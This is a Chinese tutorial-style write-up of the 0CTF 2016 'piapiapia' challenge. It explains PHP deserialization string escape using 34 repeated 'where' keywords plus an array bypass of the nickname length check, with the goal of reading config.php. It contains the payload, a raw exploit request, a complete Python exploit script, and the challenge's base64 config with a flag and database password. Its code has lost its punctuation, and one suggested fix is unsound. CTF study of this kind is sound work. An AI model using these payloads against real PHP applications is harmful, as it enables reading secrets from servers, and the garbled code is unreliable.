资讯中心

PHP 反序列化逃逸实战:0CTF piapiapia 34字符逃逸构造与数组绕过

📅 2026/7/8 20:04:59
PHP 反序列化逃逸实战:0CTF piapiapia 34字符逃逸构造与数组绕过
PHP反序列化逃逸实战0CTF piapiapia 34字符逃逸构造与数组绕过技术解析1. 漏洞背景与核心原理PHP反序列化字符逃逸漏洞的本质在于序列化字符串的结构被破坏后重新拼接恶意代码。当序列化数据经过过滤函数处理后元素内容发生变化但描述长度的数字未同步更新时就会导致后续内容逃逸出原有结构成为新的可执行元素。在0CTF 2016的piapiapia题目中关键漏洞点出现在以下技术组合filter函数导致的字符增多将特定关键词如where替换为更长字符串hackerstrlen数组绕过通过提交数组类型绕过nickname字段的长度限制检查精确字符计算需要构造34个特定字符实现完整逃逸关键提示PHP反序列化时以分号作为字段分隔、大括号作为结尾长度不对应会导致解析异常这正是逃逸攻击的突破口2. 环境搭建与代码审计2.1 关键文件分析通过扫描获取www.zip源码后重点关注三个核心文件class.php 过滤逻辑public function filter($string) { $escape array(\, \\\\); $escape / . implode(|, $escape) . /; $string preg_replace($escape, _, $string); $safe array(select, insert, update, delete, where); $safe / . implode(|, $safe) . /i; return preg_replace($safe, hacker, $string); }update.php 数据处理$profile[phone] $_POST[phone]; $profile[email] $_POST[email]; $profile[nickname] $_POST[nickname]; $profile[photo] upload/ . md5($file[name]); $user-update_profile($username, serialize($profile));profile.php 反序列化点$profile unserialize($profile); $photo base64_encode(file_get_contents($profile[photo]));2.2 漏洞链条梳理用户控制nickname参数 → 2. 序列化后经filter处理 → 3. 字符增多导致结构破坏 → 4. 精心构造的payload逃逸 → 5. 控制photo参数读取config.php3. 逃逸构造技术详解3.1 基础逃逸原理演示正常序列化示例a:4:{ s:5:phone;s:11:12345678901; s:5:email;s:10:testqq.com; s:8:nickname;s:3:abc; s:5:photo;s:36:upload/5d41402abc4b2a76b9719d911017c592; }恶意构造后a:4:{ s:5:phone;s:11:12345678901; s:5:email;s:10:testqq.com; s:8:nickname;s:34:wherewherewhere...where;}s:5:photo;s:10:config.php;}; s:5:photo;s:36:upload/5d41402abc4b2a76b9719d911017c592; }3.2 精确字符计算需要逃逸的目标字符串;}s:5:photo;s:10:config.php;}总长度计算原始字符串where5字节替换后字符串hacker6字节每个where增加1字节需要增加总长度34字节所需where数量34个验证计算 original where*34 len(original) # 170 filtered hacker*34 len(filtered) # 204 204 - 170 34 # 验证通过 True3.3 数组绕过技巧由于nickname有长度限制if(preg_match(/[^a-zA-Z0-9_]/, $_POST[nickname]) || strlen($_POST[nickname]) 10)利用PHP特性strlen(array())返回NULL通过数组提交绕过检查POST /update.php HTTP/1.1 ... nickname[]payload4. 完整攻击流程4.1 分步操作指南注册账户正常注册并登录系统构造Payloadpayload where*34 ;}s:5:photo;s:10:config.php;}数组形式提交POST /update.php HTTP/1.1 Content-Type: multipart/form-data ------WebKitFormBoundary Content-Disposition: form-data; namenickname[] wherewherewhere...where;}s:5:photo;s:10:config.php;} ------WebKitFormBoundary--触发反序列化访问profile.php获取base64编码的config.php内容解码获取flagecho PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFne2U1ZWY1MDE0LWMzZmQtNDIyYS1hNWE4LWYyMDkzMWM0YWNmYX0nOwo/Pgo | base64 -d4.2 关键代码片段自动化攻击脚本import requests import re import base64 session requests.Session() target_url http://example.com/ # 注册账户 register_data { username: exploit_user, password: exploit_pass, confirm: exploit_pass } session.post(target_url register.php, dataregister_data) # 登录 login_data { username: exploit_user, password: exploit_pass } session.post(target_url login.php, datalogin_data) # 构造恶意nickname evil_payload where*34 ;}s:5:photo;s:10:config.php;} # 上传修改 files {photo: (test.png, test, image/png)} update_data { phone: 12345678901, email: testqq.com, nickname[]: evil_payload } session.post(target_url update.php, dataupdate_data, filesfiles) # 获取flag response session.get(target_url profile.php) flag_content re.search(rbase64,(.*?), response.text).group(1) print(base64.b64decode(flag_content).decode())5. 防御方案与最佳实践5.1 安全编码建议输入验证// 严格类型检查 if (!is_string($_POST[nickname])) { die(Invalid input type); }安全序列化方案// 使用JSON替代原生序列化 $profile json_encode($profile, JSON_HEX_TAG | JSON_HEX_APOS);过滤函数改进function safe_filter($string) { $filtered str_replace([where], hacker, $string); // 重新计算长度后序列化 return serialize(unserialize($filtered)); }5.2 配置加固禁用危险函数disable_functions unserialize使用HMAC验证$secret your_secret_key; $serialized serialize($data); $hmac hash_hmac(sha256, $serialized, $secret); $_SESSION[profile] $hmac . $serialized;6. 扩展思考与变种攻击6.1 其他CTF中的逃逸案例比赛名称关键点逃逸类型安洵杯2019过滤后字符减少吞并后续内容GYCTF2020多层嵌套属性控制对象注入强网杯2021Phar反序列化文件操作流包装器6.2 高级利用技巧多级逃逸// 当存在多个过滤层时需要计算累计变化量 $total_change (strlen($filter1_output) - strlen($input)) (strlen($filter2_output) - strlen($filter1_output));Unicode编码绕过// 使用非常规字符表示属性名 $payload s:5:ph\u{0000}oto;s:10:config.php;;引用对象技巧$a new stdClass(); $a-self $a; // 创建循环引用 // 可能引发某些解析器异常